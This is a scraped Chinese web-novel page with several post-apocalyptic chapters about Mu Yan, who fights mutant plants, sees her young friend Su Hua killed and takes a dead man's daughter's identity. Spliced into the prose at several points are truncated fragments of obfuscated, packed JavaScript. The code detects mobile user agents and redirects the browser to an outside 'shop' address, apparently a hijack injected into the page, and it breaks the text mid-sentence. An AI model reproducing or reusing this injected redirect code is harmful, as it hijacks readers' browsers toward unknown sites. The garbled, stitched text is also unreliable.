l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526899|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗声。 苏桦紧拧的眉头松开。 “沐颜姐,乐叔做到了,他没有白死,他是我们的英雄,我要回去告诉大家。” 沐颜无言以对,许久才道:“苏桦,你将来也会去做引路人吗?” 二人往回走。 他道:“当然,只是引路人的申请很复杂,我想也不一定能选上。” “能为乡亲做些事情,我会很高兴的。” “那你爷爷呢,你有没有想过他一个人怎么活?” 沐颜显然多虑了,苏桦闻言十分自然:“等送爷爷走了,我再去申请。” 换做是自己,沐颜做不到。 她的命只想掌握在自己手中,她也没想过有谁能让她心甘情愿舍弃自己的生命。 “你们这里不是有执勤队吗,还有那个贺卡执政官,他们是摆设么,需要你们不断以性命去做出牺牲。” 苏桦急忙打断她:“沐颜姐,这些话可说不得,特别是关于那位执政官。” 沐颜几丝冷意:“怎么,他会吃人?” 苏桦左右看看确定无人后才小心说来:“他不吃人,但会杀人。” “他们可以随意杀人?” 苏桦斟酌了下回道:“也不能这么说吧,他们权责各有不同,但都统一对四区的治安负责,权限比执勤队队长高,执勤队队长按照程序上报后可以依法处置被感染的人,而他们可以直接裁定。” 沐颜觉得可笑:“依法?” 真不知这个疯狂的世界居然还有法律。 “你们对此就没有意见么?” 苏桦疑惑:“为什么要有意见?能当上执政官的都有万里挑一,常人没有的能力,他们既然认定了此人被感染,那么直接解决便是代价最小的方式,大家公认的。” 行吧,沐颜没能力改变大环境,也自然没必要强压着苏桦改变思想。 在这个问题上,再纠结也不会得出完美的答案。 他们又走了一段距离,身边的景象开始熟悉起来。 “苏桦,你看那里站着的是不是苏爷爷?” “哪呢?” 苏桦往前小跑了几步,片刻后笑道:“还真是爷爷,沐颜姐你视力真好。” 他往前跑去,沐颜叮嘱慢点。 这次算有惊无险,下次,再下次,希望你们也能如此。 她往前走着,突然一阵震动传来,就看到身前的沙土地开始小幅颤动。 她脱口而出:“苏桦,快跑!” 话音未落,在苏桦和哑巴爷之间的地面上一只两米高的猴脸花破土而出,扭着枝干身子撑着像猴一样的花脸张开粗厚的大嘴,以迅雷之势朝苏桦扑去。 苏桦往旁边一扑,堪堪躲开了这一击。 “接着!” 沐颜把砍刀丢向他,那只猴脸花一掀,直接拍飞回来,朝着苏桦扑去。 是苏桦年纪小细皮嫩肉比较好吃么,猴脸花就追着他一个人杀? 哑巴爷保护苏桦,上去拉扯藤蔓,反被一路拖拽。 凡人之躯抗不过异变的生物。 沐颜气血上涌,她怕死,可也怕认识的人在她面前死去,而她什么都没做。 她捡起砍刀,挥着向猴脸花砍去。 5. 送行 “没用的家伙,有生物挖地道进来伤人了都不知道!” “丑陋的东西,你想吃肉我还想吃你!” 沐颜嘴上不停,给自己打气。 逼近猴脸花时,它身上突然转过一个眼球直勾勾盯着她,她一脚踢了过去,正要砍下,哑巴爷就被甩了过来。 她无法只能先当肉盾接下。 苏桦被扯掉了一只胳膊,鲜血直流,他半个身子被笼底压着,挣扎不开,急喊:“沐颜姐,求求你带我爷爷走!” 哑巴爷被摔得眼冒金星,嘴角渗血,摇晃着要去救苏桦。 沐颜:“我也想啊,但这家伙吃下我们三人都不一定够塞牙缝。” “所以,要走我们一起走!” 她提着砍刀再次冲上。 猴脸花得了血肉,身躯正在慢慢由翠绿转为血红,和那些章鱼一样,进食时动作稍稍放缓。 这给了沐颜机会。 她生扛了藤蔓几鞭,借着扬起的沙子做屏障,砍向笼底。 明明是植物皮肤,内里却是肉质。 数刀下去,花身颤动了下。 沐颜连拖带拽把苏桦拉了出来。 “跑!” 花身往下弯了弯,大眼珠子出现在顶上,似乎是打量着谁把它的食物抢走了。 “看你大爷!” 沐颜跑在苏桦后面,上方的阴影越来越近。 她一咬牙,执刀返身重重撞回去。 那感觉就像是撞在一团腥臭的肉上。 花身凹陷,要把她挤压吞掉。 里面装着的,是一团团的器官,正不断往她身上蹭。 沐颜怒骂:“你大爷的!” 焦急的声音传来:“沐颜姐,来了来了,我爷爷来帮忙了。” 他们在外面拉着沐颜,猴脸花往里吸着,两边一齐用力,差点没先把沐颜送走。 不行,再这样下去他们迟早得交代在这里。 沐颜握紧手中刀,双腿用力一蹬,直接将猴脸花捅了对穿。 “快,从这边拉我!” 两人赶紧去帮忙,奈何藤蔓一直阻挠要把她塞回去。 “跟耗子尾巴似的讨人嫌!” 沐颜干脆不出去了,一刀一刀捅向花身。 也不知道是自己力气大,还是这猴脸花看着可怖,实则皮不算厚。 一番乱砍后当真将花身砍出一个缺口。 沐颜爬了出来,招呼苏桦、哑巴爷一同往回跑。 但跑了一阵儿,她猛然停下,一个严峻的问题摆在眼前。 不行,他们不能回村子。 执勤队不知什么时候能过来,猴脸花追着他们,和他们在引路带它吃自助有什么区别。 苏桦捂着断臂,惊恐看着她:“沐颜姐,你怎么停下了?” “你们去通知执勤队,要快,找不到就让村民赶紧跑!” “跑哪里都行,就是别在原地傻傻等死。” “你呢?” 沐颜露出一丝苦涩:“我应该还能拖延点时间。” 她总不能让一老一小断后吧。 “可是……” “别可是了。” 沐颜提着砍刀要回去砍猴脸花,但苏桦的声音在背后戛然而止,她的心狂跳,一瞬后听到哑巴爷爆发出凄惨的喊声。 猴脸花的藤蔓从地底偷袭,将苏桦从下半身直接贯穿到颅顶! 藤蔓顶端开出一朵血红花,蕊心钢牙森森。 为什么会这样! 明明差一点他们就可以活! “畜生,我和你拼了!” 哑巴爷居然能说话了,可是一点都不可喜。 他拉扯着藤蔓,努力够着半空中的苏桦。 藤蔓在腥甜的风里一上一下地抖动,似乎觉得这样的挑逗很有意思。 哑巴爷发狠咬在上面,手脚并用的撕扯。 藤蔓皮上突刺伸出,慢慢啃食哑巴爷,随着打斗二者越纠缠越紧实。 “不要这样,不该是这样的。” 沐颜无力自语,她要上去帮忙,可是身子却变得沉重,视野突然开始摇晃,无边血色带着冰冷降临…… 藤蔓锋利的牙齿就要将哑巴爷的脖子咬断,突然一顿,随即炸开。 腥臭的黏液倾泻而出,哑巴爷从悲痛欲绝中回过一丝理智。 是沐颜,她的眼里有诡异的红。 她冲了上来,以极快的速度将砍刀插入围成圈的藤蔓里,不费力气一挑,藤蔓开裂。 自己被她推到一边,而她像个不会累的机器,挥着砍刀一下又一下砍着猴脸花…… 十分钟后。 沐颜敲了敲发胀的脑袋,从一地碎肉中慢慢站起,不远处的哑巴爷下意识往后挪了挪。 她也不知道自己是怎么了,哪里来的力量暴起,将猴脸花砍成一块又一块。 “苏爷爷,你怕我吗?” 哑巴爷僵了一会儿,吱吱呀呀地比划。 他又不会说话了。 沐颜不知道他说什么,但他没跑,没攻击自己,自己去扶他时也没有抗拒,说明对方对她没有恶意。 “节哀。” 她说不出太多安慰人的话,世界上也没有真正的感同身受。 沐颜将外套脱下,小心将苏桦脑袋包裹起来,她一定不想爷爷看到他这副模样。 哑巴爷一瘸一拐过来清掉他身上沾到的碎肉块。 沐颜觉得有些熟悉,用砍刀挑了挑,发现猴脸花的肉质和先前那几个猎人烤来吃的肉很相似。 她越看,脸色越难看。 你是来找你的亲人么? 可欺软怕硬算什么本事,要想帮你亲人报仇,你去找真正的凶手啊! 他只是一个小孩,碰巧捡了她丢到帐篷外烤焦的肉块来吃。 沐颜挥刀狠狠砍下,一声清脆的声响从肉块里传出,一块指甲盖大小的碎片飞出。 她捡起一看,碎片不染鲜血,上面刻着细细的纹路,看起来是个芯片。 她想问哑巴爷知不知道这是什么东西,但转念一想就算知道他也说不出来,正要收起来的时候,突然有车辆向这边驶来。 是田哥几个拾荒人么,她心情正好不是很好,十分想揍人。 三辆装备精良的越野车在距离他们五米时急刹,扬起大片烟尘。 来人统一制服,踏着飞沙走来,是执勤队的人。 “队长,找到了,果然在这里。” 沐颜放下砍刀,冷声道:“你们来迟了,有人死了。” 来人却是径直从苏桦身上跨过,走到她跟前。 “不迟,芯片不就好端端在你手里嘛。” “天杀的我们出动了那么多人,没想到被它趴在车底溜回来了。” “你一个人杀的?厉害啊,是哪支拾荒队的?想要什么奖赏尽管说。” 他眼里压根看不到惨死的苏桦,受伤的哑巴爷,虽然沐颜明白强者更容易得到尊重,可她还是很不舒服。 “我不要奖赏。” “你不后悔就行,现在把芯片给我。” 哑巴爷突然过来挡在她身前,将她拿着芯片的手不断往她怀里推。 意思再明显不过。 这可以帮她换取有价值的东西。 歪打正着,沐颜也可以用它来换取拾荒人身份。 可她突然就不想要了,芯片上面沾染的,是苏桦的鲜血,她不想踏着苏桦的血往上爬。 “给我。” “不给。” 她可以不要,五级及以上异种可以再杀,但苏桦的公道,不能不要。 乔木将头盔摘下,露出清秀的面庞,他晃了晃挡在额前的刘海,有些无奈:“你知道拒绝上交芯片会面临什么后果么?” 沐颜目光往那边看去:“不知道,也不想知道。” “你!” “你不是话事的人,去叫管事的过来和我说。” 哑巴爷偷偷拉了拉她的衣袖,眼色示意似乎是想说让她快点跑。 她轻拍他的手臂,让他别担心。 车上很快下来一人,乔木跟在身后,有点不服气。 “你好,我叫于行,是乔木的队长。” “沐颜,请多指教。” 于行:“说说你的条件,怎样才愿意把芯片给我们。” “好说,我要他道歉。” 四处乱瞄的乔木顿时瞪大双眼:“你说什么?你让我把队长叫过来就是让我向你道歉?” 沐颜指着苏桦:“不是向我,是向他。” “队长,这……” 于行:“乔木,道歉。” 乔木估计想破脑袋都想不出来为何从一个下等人身上跨过去就要道歉了,但沐颜也不想解释。 他不情不愿道歉,完了沐颜将芯片给他们。 于行好奇:“就这么简单?你没别的要求?” 沐颜淡淡扫他一眼:“没了。” 她把苏桦抱起,她要送他回家。 他才不到十二岁,他身子很轻。 于行:“我送你们回去。” 沐颜拒绝:“不用。” 执勤队出现的地方,不会太平,她不想把这副霉运带回村子里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526900|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >回去后,村民对于他们的遭遇,反应算不上过激。 毕竟有引路人在前,死几个人,怎么死的,也不是大事。 哑巴爷在村子外围的公墓地里徒手给苏桦挖坑,沐颜想过去搭把手,被头巾阿姨拦住。 “家人要家人送走,这样他下辈子才不会孤独。” 这个类似迷信的说法沐颜没听过,但她尊重。 小小土丘垒起后,哑巴爷在那里失神看了很久,不愿离去。 夜色已经很深了,他身上又有伤,沐颜怕他撑不下去。 “阿姨,你来都来了,不帮忙劝劝?” “劝啥?” “……让苏爷爷保重身体,回去休息,明天再来。” 头巾阿姨摇头:“他要在这守够七日的。” 她又指了指不远处一座新起的土丘,是栖乐的。 “我也要在这里守七日。” 沐颜疑惑:“为何?” “这里流动的人多,怕被人挖去吃。” 七日后,该腐败的都腐败得差不多了。 有头巾阿姨帮忙照看,沐颜也宽心不少。 她回到空荡荡的苏家小屋,简单洗漱后准备休息,但她睡不着。 栖乐死了,苏桦也死了,她来到这里认识的为数不多的朋友,全没有了。 资源有限,所以人也跟着分三六九等? 怎么会有这样子的世界存在,她不明白。 第二日,她去给哑巴爷送吃食。 哑巴爷比起昨日恢复了些气血,但人还是颓废没精神。 沐颜觉得,至少人是活下来了,不幸中的万幸。 回来的时候,院子里聚集了十来人,他们都是过来找沐颜帮忙写信的。 靠着这门手艺,沐颜至少不愁会饿死。 傍晚的时候,她又去送了一次饭,回来的路上,远处山丘旁的一个小黑点引起了她的注意。 是执勤队的车队,他们又来做什么? 每次一出现,准没好事。 沐颜悄悄摸过去,藏在山丘后偷听。 “几位大爷,早点交代了我们好下班啊!” “死撑着说得就不会死一样,我们头都说了包丧葬,你们还想怎样?” 这碎碎念的方式除了乔木还有谁。 是执勤队在审判拾荒人,那确实没有她什么事。 沐颜正想再偷摸回去,就听一人暴喝:“谁在哪儿,出来。” 她不答,想从侧边跑,但随之头顶上炸开一团沙尘挡在她的去路前。 沐颜无法,只能走出来。 “是人,没有异变的人。” 于行、乔木:“是你?” 她还没接话,一辆车后走出一人,正是贺卡。 “你怎么在这?” 于行、乔木两边看:“你们认识。” 沐颜:“不认识,我散步路过,什么都没看到,你们继续。” 田哥却像看到了救星,高喊:“大哥救我!” 沐颜,众人:“?” 他脑子进水了吧喊她大哥? “我听闻执勤队的审判从来依法依规,你们若是有冤屈,可以和他们说。” “你觉得他们会信吗?” 沐颜无语:“他们信不信是他们的事,我就算相信,你看我哪里像能从这么多人手里救你们的样子。” 田哥几个兄弟凑在他身后瑟瑟发抖,田哥梗着脖子硬撑:“所以你是不打算救了?” “是没法救。” 沐颜摊手:“我先走了。” 田哥冲着她的背影大喊:“等等,你们别放过她,她是主谋,是她让我们去做的!” 啥? 临死拉个垫背的? “你给我说!” 砰砰!砰砰! 枪响过后,他们没了气息,事情发生得太快,他们连痛呼都没来得及发出。 沐颜没说完的质问卡在喉咙里,脑海里响起苏桦的话:执政官里最可怕的是贺卡,因为他杀的人最多。 乔木磕巴问:“贺执政官,我们是不是,应该让他把话说完?” “没有必要。” 于行:“不管后面田三说得是不是气话,她出现在这里,按理都要经过审查。” “贺队,你怕她牵扯其中,你和她什么关系?” 沐颜心跳得厉害,她没有身份,此刻绝对不能被查,刚才就没能跑成,现在更是麻烦。 果然碰上这家伙就没有什么好事。 贺卡没接话,把枪收起,走到尸体旁,掏出匕首刺入田三的胸膛,然后往下一拉。 6. 摆摊 这人果然暴力,杀人跟杀鸡似的没心理负担。 胸膛被打开,里面露出的并不是正常人的五脏六腑,而是挤满了一棵棵翠绿的小猪笼草。 “当心!” 于行快步上前将贺卡拉了回来。 贺卡:“无妨,宿主已死,寄主暴露在空气中,很快也会死去。” 乔木了然:“所以再晚一点猪笼草就会成熟破体而出,你才动手杀了他们。” “好厉害,你是怎么看出来的啊?” 他的眼里藏不住的崇拜,沐颜只想悄然离开,就听他又道。 “那她呢,要不要也试试?” 沐颜:“……” 她是什么待宰的鸡鸭么,说开膛就开膛。 “几日前他们吃了异种的肉,才异变的,我只是帮他们烤,没吃,身体里不会长小猪笼草。” “你胆量挺大啊,居然敢烤肉。不过你说没有就没有,我们有那么好忽悠么。” 看来今晚不见点血她是没法安然离开。 她拿出青铜刺,往手臂上刺去。 捅肚子太疼,她怕自己坚持不住。 一只骨节分明修长的手握住了她的手腕。 是贺卡。 “不必如此,我信你。” 乔木:“队长,这……” 于行眼神让他闭嘴:“贺执政官在这,他自有分寸。” 傻子都能看出来贺卡不想为难这人,乔木没脑袋的还非要问。 况且,执政官做事,他们本就没资格质疑。 “所以,我可以走了?” 他道:“当然。” “……你倒是把我的手放开啊。” 贺卡顿了片刻,这才松开。 他看见沐颜转身就走,还是忍不住问:“我有什么可以帮到你的?” 这人在沐颜心里已经和奇怪划上等号,不明白他为何执着于要自己欠他的人情。 她自认自己没那么大的脸面。 “不需要。” “如果执政官空闲,还希望尽可能把这句话留给真正需要帮助的人。” “比如,千千万万个苏桦。” “当然。”沐颜自嘲笑笑,“贺执政官或许连苏桦是谁也不知道。” 回来后,沐颜每日除了给在墓地的哑巴爷送饭,便是帮村民写信。 她的小摊从村头摆到村尾,又从村尾摆到村头。 她想替栖乐和苏桦守够七日。 但今日生意少,一方面是大部分需要写信的人都找她写的差不多了,另一方面确确实实是贺卡在不远处的枯树下一直看着这边,他们更不敢过来。 沐颜无奈:“贺执政官,你很闲吗?你都在那边看半天了,有话过来说。” 贺卡走过来:“小香酒楼里,卡片显色是蓝色的,其中有一部分是隐藏的感染者,目前无药可救。” 沐颜没有接话,他是高高在上有生杀予夺大权的执政官,压根不需要和她解释什么。 昨夜杀田三拾荒队,如果她没出现,他大概也不会和于行、乔木解释。 若她问了为什么,他们之间的牵连就不止萍水相逢这么简单。 沐颜想离开这里,不想和死亡天天作伴。 “说完了。” “嗯。” “需要写信么?” 贺卡被她突然地转折愣了下,无奈笑道:“好。” “你的收费要贵点,十元一次。” “这是为何,别人都是一角一次?” “我的摊子我做主。” 事实是有钱不挣是傻瓜,贺大执政官一看就不缺钱。 “……好。” 沐颜利落拿出草纸,挑了张成色最好的,问:“要写点什么?” 贺卡想了想,从风衣口袋里拿出一块手帕:“写上面。” 手帕是罕见的真丝材质,沐颜突然觉得要价低了。 “可以,但我的笔写不上去。” 贺卡又递来一只水性笔。 “说吧,要写点什么……喂,别发呆。” “你好,世界。” “?” “你确定?” “我确定,这对我很重要。” 沐颜看了眼贺卡,表示莫名其妙,这样的世界有什么好的。 “写完了,还你。” 沐颜顺道给他倒了杯水,往前凑了凑:“哎,贺大执政官,这人对你很重要?” “嗯。” “我还没说呢,你应什么?” “那你说。” 贺卡抬眸静静看着她,似乎在期待什么。 沐颜莞尔:“别用这种眼神看着我,你的心上人不在眼前,在身后。” 安羽:“好久不见,我是安羽。” 沐颜愕然,她这句问候信息量贼大,他们认识她,却也知道她不认识他们? 一股冷意自心底涌出,她麻溜道了别卷起铺盖就走。 “贺卡,她真的失忆了?” 贺卡将手帕小心收好:“时间快到了,我们走吧。” “放着她不管,真的不会影响到计划吗?” 他摇头,深深望着沐颜离去的方向:“我说过,她不是变数。” * 沐颜回到苏家小院,刚把东西放下,头巾阿姨就步履匆匆过来招手:“小颜,你快来!” 她的心咯噔了下,立即跟去,但还是晚了一步。 哑巴爷靠在苏桦的小坟堆旁,安详睡了。 “唉,可惜,要是再早一点来就好了。” 头巾阿姨片刻惋惜,而后开始在苏桦旁边挖坟。 在这个世界,死亡是不需要太过悲伤的一件事。 沐颜过去帮忙:“阿姨,苏爷爷是不是有话和我说?” “嗯,奇奇怪怪的,他说你好像他见过的一个人,让我去找你,还很着急的样子,没想到……不说了,后面你有什么打算?” 沐颜找了个舒服的姿势坐下:“哑巴爷的坟,我来守,其他的事,后面再说吧。” 今日哑巴爷逝世,也是苏桦的头七,死生无常在这一刻体现得淋漓尽致。 就差一点,她就能用这些日子挣到的钱来帮哑巴爷及乡亲改善生活。 可他们的人生已经没有差一点的机会。 又是七日后,沐颜正式向头巾阿姨辞行。 “年轻人有想法出去闯是好事,只是你突然给我这么多钱,我拿着不安啊!” 沐颜把钱往她怀里推:“我信得过你,这些钱能帮到你们一点是一点,我能做的太有限,对不起……” 沐颜决定去第四区城区,守坟时她听路过的拾荒人谈论过,贺卡此行来第四区,正是要主持不久后执勤队成员的招募工作。 她要活着回去,也要活着,才能帮到更多的人。 城区生活不易,沐颜还没有合法身份,只能在黑市附近做起老本行——给人读信写信挣钱。 不过,城区里人口受教育程度明显比荒野高,一连三日,她都没什么生意,后面在一个好心店主的告知下,将摆摊位置换到了人口比较密集又比较破的居民楼下,这才开始有了顾客。 来念信的人很多,回信的却很少。 沐颜忍不住问一个收到全家百岁祝寿的年轻人他为何不回信,看他的模样在外混得也不算太差。 那人道:“勉强活得下罢了,他们帮不了我什么,我也帮不了他们什么。” “至少让他们知道你安好。” “不需要,多一份牵挂,多一份不甘。” 既怕你过得不好,又怕你过得好了不带上我们,又或者,只是单纯希望你过得好。 沐颜笑笑,也不勉强,人性自私的一面,无论何时都不会消失。 快收摊的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她是万万没有再拖叶子下水的想法,栖乐在天上看着,想必会更难过。 叶子被她同伴拉着走远了,沐颜这才正眼看两人:“你们是想打架,还是想抢钱。” 其中一人道:“你倒是识相,这几日挣了不少吧,都给老子吐出来。” 沐颜冷笑:“做梦。” 是他要价太高态度还不好,顾客选择她,市场选择她,她有什么错。 “那就没得谈了。” 二人抡起棍子朝她袭来,沐颜早有准备,拔腿就跑,这附近她已经熟悉,越过前面高墙就能通到地下黑市。 只是人算不如天算,偏偏今夜这里停了一队车队。 沐颜无法,这一耽搁身后两人已经追上,她只能返身正面对上。 “怎么不跑了?” 沐颜:“因为发现揍你们更划算。” 她将青铜刺露出半寸,向着二人扑去,硬挨几棍后也成功划了对方几道血痕。 他们是人,她没办法像对猴脸花一样毫无顾忌下死手,虽然对方并没有这种顾忌。 三人缠斗中,一道手电光芒划过:“谁在那里?” 沐颜和两人几乎是同时往旁边的黑暗里扑去。 是乔木,他怎么来了? 沐颜思索间仍不忘对那同行乱脚踢出,但那人似乎比她害怕和执勤队碰上,闷哼着硬不出声,眼见来人越来越近,他虽不甘心,也只能招呼着同伴先走。 “后面别让我再看到你!” 沐颜:“呵,路是你家修的,说不给走我就不走?” 她不惹事,但也绝不怕事。 只是,现在她也不想和乔木碰上。 沐颜立即往相反方向跑去,一双手突然从黑暗里伸出将她拉住。 7. 另一个自己 她还以为是不死心的同行,反手便将青铜刺刺出,那人被刺也没松开,咬着牙道:“跟我来。” 沐颜闻到浓重的血腥味,挟持着她的人身躯不算特别魁梧,真打起来她胜算应该也不小。 “我可以和你走,你先把我放下。” 那人顿了下,真的把她放下了。 执勤队的脚步声已经很近,沐颜只能先和他走。 这人带着她在狭小潮湿的巷子里穿梭,大概半个时辰后,停在了一间不起眼的平房前。 门吱呀一声打开,在寂静的夜里尤为突兀。 他道:“你在黑市打探制作身份的事已经引起了执勤队的注意,如果你想被抓的话,可以继续站着。” 沐颜冷静发问:“天底下没有免费的午餐,你又为何平白无故帮我?” 他开始解衣服。 沐颜:?! 这是什么操作。 那人将外套脱掉,露出里面斑驳的血衣。 “你……” “我活不了多久了,我有事求你,你帮我,我也帮你,就这么简单。” 他说完怕沐颜仍没打消顾虑,从门后抽出了一把大砍刀塞到她手里。 “现在我的诚意,你看够了么?” 沐颜浅笑:“够了,但我想知道,如果你的事我帮不上忙,你会放我走吗?” 他也笑:“当然。” 沐颜随他入屋后,这人并没有直接开门见山,而是打开了角落里的投影。 昏黄的灯光下,滋啦带响的视频开始播报。 这是要给她看电视? “这位大哥,你……” “先别说话,我要看新闻。” 沐颜:…… 投影里播放的主角,她再熟悉不过。 郎才女貌的贺卡与安羽,在低质的画面中仍能第一时间吸引人眼球。 他们正从拥挤的人群里走上台,像是在开发布会。 贺卡:“我宣布,东风纪年二百五年,七月二十七日起,第四区第八区引路人政策正式作废。” 他一说完,底下就有无数人涌上去,吱呀乱叫着什么。 这里信号不好,沐颜没能听清他们接下来的话,但从神态上看明显是反对的多于支持。 “那么没有人性的制度,废除不好么,他们为何那么激动。” 那人头也不抬:“对于挣扎在底层的下等人,引路人是他们能为自己换取最大利益的唯一一张牌,你说为什么。” 沐颜不语。 视频里再次有声音传出,是安羽。 沐颜注意到那人眼前亮了亮,果然对于美的事物,无论何时都能让人感到心情愉悦。 “她是?” “安羽,我们人类当前最伟大的女性科学家,没有之一。” “哦。” “她说的孕育人又是什么?” 这个词她今日也听叶子提过。 “你不会想知道的。” 沐颜:“……行吧,那你说说你把我找来,到底想做什么。” 他道:“再等等,等他说完。” 在安羽讲完孕育人将进行新的改革时,贺卡又发言了。 “今日最后一件事,上区执勤队队员招募计划,正式启动,我们欢迎有志之士加入我们……” 那人心满意足关掉了投影,这才想起给沐颜倒了杯水。 “喝吧,没毒。” “你可以叫我李哥。” 沐颜表示愿闻其详。 “我找不到我女儿了,她是非法越区出去的,系统里不会有她的消息。” “何故?” “我早年去荒野的时候,被辐射伤了身子,需要很多钱才能进行基因手术根治,她是为了帮我筹钱。” 沐颜皱眉,难怪他身上一直散发着血腥味,原来身体从内里已经开始腐烂。 “你还有多久?” “就这几日了。” “……抱歉,我真不是神仙,这么短的时间,我连在第四区自由行动都做不到,更别提把她带回来。” 李哥惨淡一笑:“不急,我等不到她,她也等不到我了。” “什么意思?” “她死了。” “你这不是已经知道了嘛?” “不,我猜的。” 沐颜无语:“这种直觉你可以不用有。” 李哥目光黯淡下去:“我和她约定过的,每个月都会和我传递信息,现在我已经快一年没收到她的消息了。” 他拿出一块透明的蓝色芯片:“这是她离开前挖下来的,她把最珍贵的东西留了下来,让我以备不时之需。” 沐颜反应过来:“所以,你知道我想要一个身份,而你可以给我一个身份,但作为代价,我需要帮你把你的女儿或者说遗物带回来,对吗?” 李哥点头:“你很聪明,上区执勤队队员招募计划已经启动,你可以以她的身份去参与。” 要冒这个险吗?她不确定。 李哥看出她心中顾虑,搬出最后一根稻草。 “你敢杀人吗?” “什么意思?” 他笑:“如果你拒绝,我会立刻举报你就是没有身份的黑户。” “所以,要么杀了我,要么帮我。” 沐颜斜睨:“看起来我似乎没得选。” “你信我,我想这对你而言也是一个新的开始。” 沐颜冷静道:“不,你还有事情瞒着我。” “什么?” “为何选我?” 按他的说法,既然是生死攸关的事,总不能路边随便拦一个来就要求人家拿命帮他吧,一定还有她所不知的原因。 李哥笑道:“你真的很聪明。” “你一来这里,我就注意到你了,因为……你和我的女儿很像。” “……说重点。” “好吧,我跟了你几日,但也只是单纯地想透过你看我女儿,直到你和后巷刘老三他们打起来,我看到黑暗中,你的眼里闪过一抹诡异的红,才有了这想法。” 沐颜冷言:“都用诡异来形容了,你居然不觉得我可怕。” 他摇头:“许多年前,也曾有一位十分厉害,据说黑夜中眸子带红光的顶级拾荒人出现,她几乎无所不能。” “所以你觉得我是你以为的那个人?” “你是吗?” 沐颜斩钉截铁:“我不是。” 他道:“我猜也是,毕竟她怎么可能穷到要去摆摊。” 末了他叹息:“所以,你就当我是死马当活马医吧,我是真的,没得选啊……” 接下来两日,李哥将沐颜手机里的芯片改造,集成在他女儿那块上,最后再割开她的左手腕,埋在表层之下,依靠生物电流与无线供电运作。 “明日是参与考核的最后一日,我该走了。” “好,如果找不到她,也没关系,请你在那片地方替我守上七日,也算完成了你我之间的交易。下辈子,她不能孤孤单单的。” “嗐,你就不能往好的方面想么,万一她只是有事耽搁了……对了,你女儿叫什么名字。” “她叫沐颜。” ?! 这,居然和她是一样的。 “有相片吗?” 李哥抬起虚弱的手指了指对面书桌。 沐颜过去翻了下,却没有找到任何一张:“这里没有,李哥你确定……” 她的话语哽住,李哥保持着看她的模样,五官开始渗血,他一动不动,地上留了一地的鲜血。 他死了。 第二日,沐颜处理完李哥后事,径直往第四区执勤队队员招募点走去。 有了合法身份,她出行底气足了不少。 交界处聚了不少人,有执勤队的队员正在维持秩序。 “都排好队,一个一个来……” 沐颜放眼望去,果然又看到那个熟悉的身影,果断换了一条队伍排队。 她身后那人,也跟着一同换了过去。 “唉,这边人这么多,你怎么排这里?” 沐颜头也不回:“你不也是么。” 她一早注意到他跟着自己,只是见他并没有什么举动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526902|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便没有声张。 那人爽朗笑着:“对嘛,那个负责审查的可婆妈多事了,我们这里的人都知道,出去都不愿走他那边。” 沐颜对乔木倒没有什么恶意,只是单纯不想和执勤队扯上关系。 她可有可无地应了声,算是回应。 但这人却异常热情:“我叫关山月,你叫什么?” “沐颜。” “我也要参加考核,不如组个队同行呗。” “不组。” 他们都不认识,她怎么知道组到的是队友,还是杀手。 “组一个嘛,你又没损失,执勤队队员考核危险重重,多一个人多一分把握,我很能打的好不好?” 沐颜:“……” 这人怎么比乔木还磨叽。 她作势要走,关山月立即道:“唉,你别走,我不说话了还不行嘛。” “反正你再考虑考虑,我的提议永远有效。” 沐颜敷衍回道:“好。” 开头不算烂,关山月正有点欣喜时,却见沐颜看着远处,便顺着目光看去,不由叹道:“你在看他啊,那你可得抓紧时间咯,他和安羽的婚事,快定下来了。” 沐颜心想这都什么乱七八糟的,他一个人站在顶楼天台上,风衣飘扬。 她只是好奇,他也不怕被风刮下来。 “非法妄议执政官,是会死的。” 关山月嘟囔了几句,在她身后冲贺卡比划了几下,倒没继续说下去。 出区的队伍要先接受身份盘查,然后进行登记,最后再是考核,均通过者则可以获得第四、第三区颁发的通行证。 沐颜注意到,出去的拾荒人都有队伍,像她这般独自一人的,尤为醒目。 果然在顺利通过身份核查到登记的时候,她自由拾荒人一说出口,就引来不少目光聚集。 “这女娃居然敢一个人去拾荒,胆子真大。” “我有印象,刘老三不久前好像和她打过一架,居然没讨到什么好。” 关山月凑了上来:“沐颜你打架了?” 沐颜扫他一眼:“不该听的别问。” “这有啥,先前拾荒人里也有不少女性,怎么看不起我们女的?” “但那是区外拾荒啊,而且还不组队,我看凶多吉少。” 负责登记的工作人员再次询问:“你确定是自由拾荒人。” “确定。” “行吧,祝你好运。” 工作人员在桌子上敲了敲,拿起扫描仪,沐颜刚把手举起,一把枪就压了下来。 “等等。” 沐颜抬眸,是乔木。 工作人员起身:“乔指导,有何指示。” 乔木紧盯着沐颜:“你手上的伤怎么回事?” “打架,不小心伤到了。” 这个确有其事,她不怕查,查了也是对方挑衅在先她反击在后。 “怎么,违法了吗?” “这倒没有。” 